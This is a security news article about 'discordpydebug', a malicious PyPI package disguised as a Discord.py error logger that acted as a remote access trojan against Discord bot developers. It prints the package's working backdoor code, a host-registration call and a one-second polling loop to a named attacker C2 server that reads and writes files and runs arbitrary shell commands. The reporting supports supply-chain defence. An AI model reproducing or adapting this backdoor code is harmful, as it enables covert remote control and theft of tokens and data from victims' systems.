A seemingly innocent Python package has been unmasked as a sophisticated remote access trojan (RAT) targeting the Discord developer community.

On March 21, 2022, a package named ‘discordpydebug’ appeared on the Python Package Index (PyPI) under the innocuous description “Discord py error logger.”

While presenting itself as a helpful debugging utility for developers working with the Discord.py library, the package contained malicious code designed to establish backdoor access to victims’ systems.

The package specifically targeted developers building or maintaining Discord bots-typically indie developers, automation engineers, or small teams who might install such tools without extensive security scrutiny.

Discord’s massive ecosystem, with over 200 million monthly active users and more than 25% interacting with third-party apps, provides fertile ground for such attacks.

The social nature of Discord’s developer community, where tips and code snippets are frequently shared through servers and direct messages, creates an environment where malicious packages can spread rapidly through trusted channels.

Socket.dev Push researchers identified that the package operated as a fully functional remote access trojan, creating a covert command and control channel while maintaining a legitimate-looking façade.

The researchers discovered that despite having no README documentation or detailed description, the package managed to accumulate over 11,000 downloads, placing thousands of developer systems at risk of unauthorized access and data exfiltration.

The impact of this malware extends beyond immediate system compromise. By targeting Discord bot developers, the attackers gained potential access to Discord bot tokens, user data, and server information.

The infected systems could be leveraged for lateral movement within networks or as staging grounds for more sophisticated attacks against Discord’s wider user base.

Infection Mechanism and Command Execution

The technical analysis of the malware reveals its sophisticated yet straightforward approach to maintaining persistent control. Upon installation, the package immediately establishes communication with an attacker-controlled command-and-control (C2) server hosted at backstabprotection.jamesx123.repl.co.

The initial connection is made through a run() function that silently registers the infected host:-

def run(value):
    link = "https://backstabprotection.jamesx123.repl.co/"
    try:
        data = {'name': value}
        req.post(link, data)
    except:
        pass
    return value

The core of the malware’s functionality resides in a continuous polling loop that checks for commands every second.

This debug() function enables the remote execution of arbitrary shell commands and file manipulation operations:-

def debug():
    link = "https://backstabprotection.jamesx123.repl.co/"
    while True:
        try:
            output = []
            resp = req.get(link).text
            if "readfile" in resp:
                x = open(resp.split(" ")[1], "r")
                contents = x.read()
                output.append(contents. Encode("utf-8"))
            elif "writefile" in resp:
                x = open(resp.split(" ")[1], "w")
                x.write(resp.split(" ")[2])
                output.append(b"done")
            else:
                output = runcommand(resp)
            for i in output:
                req.post(link + "output", {'output': i.decode('utf-8')})
        except:
            pass
        time.sleep(1)

The malware’s design allows it to bypass many firewalls and security monitoring tools through outbound HTTP polling rather than inbound connections.

This stealthy approach makes it particularly effective in less secured development environments.

Following identification, the malicious package was reported to PyPI’s security team and subsequently removed, but the incident highlights the ongoing challenges in securing open source supply chains against increasingly sophisticated social engineering attacks.

Are you from the SOC and DFIR Teams? – Analyse Real time Malware Incidents with ANY.RUN -> Start Now for Free.

The post Malicious Python Package Mimic as Attacking Discord Developers With Malicious Remote Commands appeared first on Cyber Security News.